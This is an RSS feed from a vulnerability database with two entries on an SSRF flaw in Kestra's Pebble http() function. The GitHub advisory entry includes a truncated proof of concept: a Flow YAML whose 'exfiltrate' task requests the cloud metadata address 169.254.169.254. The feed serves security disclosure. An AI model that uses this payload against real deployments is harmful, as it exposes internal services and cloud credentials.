<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 03 Oct 2026 06:41:47 +0000</lastBuildDate>
    <item>
      <title>fkie_cve-2026-73247</title>
      <link>https://db.gcve.eu/vuln/fkie_cve-2026-73247</link>
      <description>&lt;p&gt;Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra&amp;#39;s core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra&amp;#39;s core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/fkie_cve-2026-73247</guid>
    </item>
    <item>
      <title>GHSA-r56g-q4p6-m3p6 — Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services &amp; cloud metadata</title>
      <link>https://db.gcve.eu/vuln/ghsa-r56g-q4p6-m3p6</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Maven: io.kestra:core, Maven: io.kestra:kestra-core&lt;/p&gt;
&lt;p&gt;### Summary
The Pebble template engine&amp;#39;s `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.&lt;/p&gt;
&lt;p&gt;### Details
The root cause is in `core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java` (lines 77-106):&lt;/p&gt;
&lt;p&gt;1. **No URL validation**: User input is passed directly to `URI.create()` with no checks for private IPs, internal hosts, or restricted schemes
2. **No IP filtering**: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
3. **No scheme restriction**: `file://`, `gopher://` schemes are not blocked
4. **No authentication required**: `TenantValidationFilter.java` only checks tenant == &amp;#34;main&amp;#34; — no authentication
5. **Unconditional registration**: `HttpFunction` is registered without any feature flags in `Extension.java:180`&lt;/p&gt;
&lt;p&gt;### PoC
**Prerequisites:**
```bash
docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30
```&lt;/p&gt;
&lt;p&gt;**Step 1: Create malicious Flow YAML**
```yaml
cat &amp;gt; /tmp/ssrf_poc.yaml &amp;lt;&amp;lt; &amp;#39;YAML&amp;#39;
id: ssrf_metadata
namespace: company.team
tasks:
  - id: exfiltrate
    type: io.kestra.plugin.core.log.Log
    message: |
      {{ http(uri=&amp;#39;http://169.254.169.254/latest/me…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Maven: io.kestra:core, Maven: io.kestra:kestra-core&lt;/p&gt;
&lt;p&gt;### Summary
The Pebble template engine&amp;#39;s `http()` function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.&lt;/p&gt;
&lt;p&gt;### Details
The root cause is in `core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java` (lines 77-106):&lt;/p&gt;
&lt;p&gt;1. **No URL validation**: User input is passed directly to `URI.create()` with no checks for private IPs, internal hosts, or restricted schemes
2. **No IP filtering**: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
3. **No scheme restriction**: `file://`, `gopher://` schemes are not blocked
4. **No authentication required**: `TenantValidationFilter.java` only checks tenant == &amp;#34;main&amp;#34; — no authentication
5. **Unconditional registration**: `HttpFunction` is registered without any feature flags in `Extension.java:180`&lt;/p&gt;
&lt;p&gt;### PoC
**Prerequisites:**
```bash
docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30
```&lt;/p&gt;
&lt;p&gt;**Step 1: Create malicious Flow YAML**
```yaml
cat &amp;gt; /tmp/ssrf_poc.yaml &amp;lt;&amp;lt; &amp;#39;YAML&amp;#39;
id: ssrf_metadata
namespace: company.team
tasks:
  - id: exfiltrate
    type: io.kestra.plugin.core.log.Log
    message: |
      {{ http(uri=&amp;#39;http://169.254.169.254/latest/me…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-r56g-q4p6-m3p6</guid>
    </item>
  </channel>
</rss>
